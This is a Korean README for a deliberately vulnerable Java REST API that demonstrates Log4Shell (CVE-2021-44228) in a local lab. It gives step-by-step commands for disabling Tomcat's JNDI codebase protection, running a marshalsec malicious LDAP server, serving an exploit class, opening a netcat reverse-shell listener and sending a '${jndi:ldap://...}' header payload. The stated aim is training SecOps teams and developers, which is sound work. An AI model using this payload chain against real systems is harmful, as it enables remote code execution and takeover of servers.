nix-xin/vuln4japi취약한 Java 기반 REST API로, CVE-2021-44228(log4shell)을 시연하기 위한 도구입니다.
CVE-2021-44228(log4shell)을 시연하기 위한 취약한 Java 기반 REST API입니다.
Log4Shell은 2021년 12월 초 인터넷을 강타했습니다. Apache Log4j 로깅 라이브러리의 제로데이 취약점으로, 원격 코드 실행(RCE)이 가능하여 전 세계 조직들이 공개된 Java 애플리케이션을 서둘러 수정/패치/완화하도록 만들었습니다. InfoSec 커뮤니티가 보안 팀에 지속적인 분석과 솔루션을 제공하기 위해 함께 모이는 동안, Log4j 커뮤니티는 이 취약점을 종식시키기 위한 패치 개발에 분주했습니다.
저는 Apache Tomcat 애플리케이션 서버를 사용하여 이 취약점을 악용함으로써 원격 코드 실행(RCE) 경로를 시연하는 간단한 취약한 REST API를 개발했습니다. 이 개념 증명이 SecOps 팀을 교육하거나 현재 및 미래의 애플리케이션 개발자를 교육하는 데 사용될 수 있기를 바랍니다. 팀을 교육하고 SIEM 규칙/알림, EDR, SOAR 등을 포함하되 이에 국한되지 않는 방어 체계를 개선하세요.
이 공격의 작업 흐름을 이해하려면 스위스 정부 컴퓨터 비상 대응 팀 GovCERT.ch가 제공한 이 그래픽을 확인하세요: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
이 튜토리얼과 소스 코드는 교육 및 훈련 목적으로만 제공됩니다. 윤리적이고 책임감 있게 사용하세요. 이 튜토리얼은 공격자와 취약한 애플리케이션이 동일한 컴퓨터에 있다는 가정 하에 준비되었습니다. 더 현실적인 경험을 위해 아키텍처를 분산하고 취약한 애플리케이션을 자체 서버에서 실행하고 Kali Linux 또는 다른 배포판을 사용하여 공격자를 시뮬레이션하세요.
시작해 봅시다.
Java JDK와 Maven을 설치했다면, Linux 배포판을 사용 중이라고 가정하고 vuln4japi 위치로 디렉토리를 변경한 후 프로젝트를 빌드하세요.
참고: 빌드하기 전에 앱의 특정 구성 요소를 수정할 수 있습니다. 예를 들어, log4j2.xml 파일에서 log4j 로그 경로를 수정할 수 있습니다. 또는 pom.xml 파일에서 결과 war 파일의 이름을 변경할 수도 있습니다. 전적으로 선택에 달려 있습니다.
cd /path/to/vuln4japi
mvn clean package -DskipTests
빌드 오류가 없다면, vuln4japi.war 파일이 있는 새로 생성된 target 디렉토리가 있어야 합니다. 좋습니다. 이 파일은 잠시 후에 다시 다루겠습니다. Tomcat을 간단히 살펴보겠습니다.
Java 8 버전에 따라, 8의 이후 버전에서는 이 특정 설정(com.sun.jndi.ldap.object.trustURLCodebase)이 false로 설정되어 있을 수 있습니다. 이는 JNDI가 LDAP를 통해 원격 코드베이스를 로드하는 것을 효과적으로 차단합니다. 이것이 바로 이 취약점이 악용하는 것입니다. 따라서 Tomcat의 catalina.properties 파일을 수정하여 이 시스템 설정을 True로 설정하여 Tomcat을 의도적으로 취약하게 만들어야 합니다.
Linux용 apache-tomcat-8.0.32.tar.gz를 다운로드한 후, /opt 디렉토리 같은 곳에 압축을 풉니다.
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
/conf 디렉토리로 변경하고 파일 하단의 catalina.properties를 수정합니다.
참고: 선호하는 텍스트 편집기를 사용하세요. 이 예시에서는 vim을 사용합니다.
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# 맨 끝에 다음 시스템 속성을 추가합니다
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
텍스트 편집기를 종료하고 /bin 디렉토리 안의 catalina.sh 스크립트를 사용하여 Tomcat을 시작합니다.
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
http://localhost:8080/ 로 이동하거나 명령줄 인터페이스에서 간단한 cURL 명령을 사용하여 Apache Tomcat 인스턴스를 테스트합니다.
curl -vv http://localhost:8080/
브라우저나 터미널에 환영 페이지가 표시되면 정상 작동하는 것입니다. 이제 취약한 앱을 배포할 수 있습니다.
.war 파일을 Tomcat의 /webapps 디렉토리에 복사합니다. Tomcat이 몇 초 안에 애플리케이션을 핫 배포합니다.
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
앱 URL로 이동하거나 다시 명령줄에서 cURL을 사용하여 취약한 앱을 테스트합니다. 브라우저에서: http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
다음 메시지가 표시되어야 합니다: Hi, this is a Vulnerable App!!
이제 몇 가지 구성 요소가 작동하므로, 이걸 악용해 봅시다...
marshalsec 프로젝트는 이러한 유형의 공격을 자세히 이해하기 위한 훌륭한 리소스입니다. 본질적으로, 이는 악성 LDAP 서버 역할을 하여 모든 요청을 .class 파일을 호스팅하는 악성 웹 서버로 리디렉션합니다. marshalsec를 사용하기 전에 mbechler의 Github 저장소에 게시된 문서를 검토하는 것을 적극 권장합니다: https://github.com/mbechler/marshalsec
기술적 세부 사항과 문서를 건너뛰기로 결정했다면, 해당 저장소를 클론하고 디렉토리를 변경하세요. 이제 Java 프로젝트를 빌드하기 전에 LDAPRefServer.java 파일에 한 줄의 디버그 문을 추가하는 것을 권장합니다. 이 print 문은 취약한 서버에서 LDAP 쿼리를 캡처할 때 유용합니다.
선호하는 텍스트 편집기를 사용하여 다음 파일을 편집하고 아래 코드 블록에 표시된 대로 processSearchResult() 메서드에 해당 줄을 추가하세요.
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// 전체 요청 정보를 표시하려면 이 줄을 추가하세요
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
파일을 수정한 후 저장하고 텍스트 편집기를 종료하세요. 이제 Maven을 사용하여 marshalsec 프로젝트를 빌드할 수 있습니다. marshalsec 폴더의 루트로 디렉토리를 변경하고 maven을 실행하세요.
mvn clean package -DskipTests
빌드 오류가 없다면, marshalsec-0.0.3-SNAPSHOT-all.jar 파일이 포함된 새로 생성된 /marshalsec/target 디렉토리가 보일 것입니다.
악성 marshalsec LDAP 서버를 실행하기 전에 나머지 공격자 도구를 설정합시다.
exploitz 폴더로 디렉토리를 변경하고 포함된 Exploit.java 파일을 컴파일하세요.
javac Exploit.java
오류가 없다면, Exploit.class 파일이 있어야 합니다.
그것으로 충분합니다. 컴파일된 모든 것과 실행 중인 웹 서버가 있어야 합니다. 다시 말하지만, Linux 서버에서 이 테스트를 실행 중이라고 가정하면 최소 5개의 터미널 창을 열어야 합니다.
터미널 1: marshalsec 실행
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
터미널 2: Exploit.class가 있는 xploitz 디렉토리로 변경하고 로컬 Python 서버를 실행합니다.
python3 -m http.server 8081
터미널 3: /tmp/logs/vuln4jpi_log4j.log 파일을 tail하여 취약한 앱에 대한 요청을 추적합니다.
tail -f /tmp/logs/vuln4japi_log4j.log
터미널 4: 포트 8001에서 netcat 리스너를 엽니다. 물론 이는 동일한 호스트에서의 리버스 셸 연결입니다. 기억하세요, 우리는 이 모든 것을 동일한 호스트에서 수행하고 있습니다. 실제 환경을 경험하려면 2~3대의 다른 컴퓨터를 사용해 보세요.
nc -lv 8001
터미널 5: 간단한 cURL 명령으로 페이로드를 제출합니다.
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
모든 것이 예상대로 작동한다면, 포트 8001의 netcat 리스너로 셸이 전달되어야 합니다. 모든 터미널 창을 검토하고 각 창의 동작을 관찰하여 오타나 구문 오류가 있는지 확인하세요. 여기서 많은 일이 일어나므로 인간의 실수는 항상 발생할 수 있습니다. 익숙해질 때까지 몇 번 실행해 보세요. 소스를 약간 수정해야 할 수도 있지만, 그게 우리가 배우는 방식입니다. ;-)
이 프로젝트에서 배우는 것을 즐기시길 바랍니다. 저는 이 프로젝트를 만드는 것을 즐겼습니다. 피드백이나 의견이 있으면 트위터 @offswitchsec에서 찾아주세요. 즐기시고 해킹을 즐기세요!